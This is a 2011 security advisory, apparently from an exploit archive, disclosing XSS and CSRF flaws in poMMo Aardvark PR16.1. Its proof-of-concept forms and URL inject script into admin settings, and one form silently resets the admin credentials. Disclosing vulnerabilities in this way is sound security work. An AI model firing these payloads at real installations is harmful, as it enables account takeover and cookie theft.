Exploit the possiblities

poMMo Aardvark PR16.1 Cross Site Request Forgery / Cross Site Scripting

poMMo Aardvark PR16.1 Cross Site Request Forgery / Cross Site Scripting
Posted May 10, 2011
Authored by High-Tech Bridge SA | Site htbridge.com

poMMo version Aardvark PR16.1 suffers from cross site request forgery and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss, csrf
MD5 | f458c4dbe9ad2b81d5ac1fea1f569203

poMMo Aardvark PR16.1 Cross Site Request Forgery / Cross Site Scripting

Change Mirror Download
=============================
Vulnerability ID: HTB22976
Reference: http://www.htbridge.ch/advisory/multiple_xss_cross_site_scripting_vulnerabilities_in_pommo.html
Product: poMMo
Vendor: Brice Burgess ( http://pommo.org/ )
Vulnerable Version: Aardvark PR16.1
Vendor Notification: 26 April 2011
Vulnerability Type: XSS (Cross Site Scripting)
Risk level: Medium
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerabilities exists due to failure in the "admin/setup/config/general.php", "index.php", "admin/subscribers/subscribers_groups.php", "admin/setup/setup_fields.php" scripts to properly sanitize user-supplied input in "site_name", "referer", "group_name" and "field_name" variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

1.

<form action="http://host/admin/setup/config/general.php" method="post" name="main">
<input type="hidden" name="list_name" value="Mailing List">
<input type="hidden" name="site_name" value='poMMo"><script>alert(document.cookie)</script>'>
<input type="hidden" name="site_name" value="poMMo Website">
<input type="hidden" name="site_url" value="http://www.example.com/">
<input type="hidden" name="site_success" value="">
<input type="hidden" name="site_confirm" value="">
<input type="hidden" name="list_confirm" value="on">
<input type="hidden" name="list_exchanger" value="mail">
</form>
<script>
document.main.submit();
</script>


2.

http://host/index.php?referer=1"><script>alert(document.cookie)</script>


3.

<form action="http://host/admin/subscribers/subscribers_groups.php" method="post" name="main">
<input type="hidden" name="group_name value='group"><script>alert("XSS")</script>'>
</form>
<script>
document.main.submit();
</script>


4.

<form action="http://host/admin/setup/setup_fields.php" method="post" name="main">
<input type="hidden" name="field_name" value='1"><script>alert(document.cookie)</script>'>
<input type="hidden" name="field_type" value="text">
</form>
<script>
document.main.submit();
</script>


=============================
Vulnerability ID: HTB22977
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_pommo.html
Product: poMMo
Vendor: Brice Burgess ( http://pommo.org/ )
Vulnerable Version: Aardvark PR16.1
Vendor Notification: 26 April 2011
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Risk level: Low
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )

Vulnerability Details:
The vulnerability exists due to failure in the "admin/setup/config/users.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:


<form action="http://host/admin/setup/config/users.php" method="post" name="main">
<input type="hidden" name="admin_username" value="admin2">
<input type="hidden" name="admin_password" value="newpass">
<input type="hidden" name="admin_password2" value="newpass">
<input type="hidden" name="admin_email" value="email@example.com">
</form>
<script>
document.main.submit();
</script>


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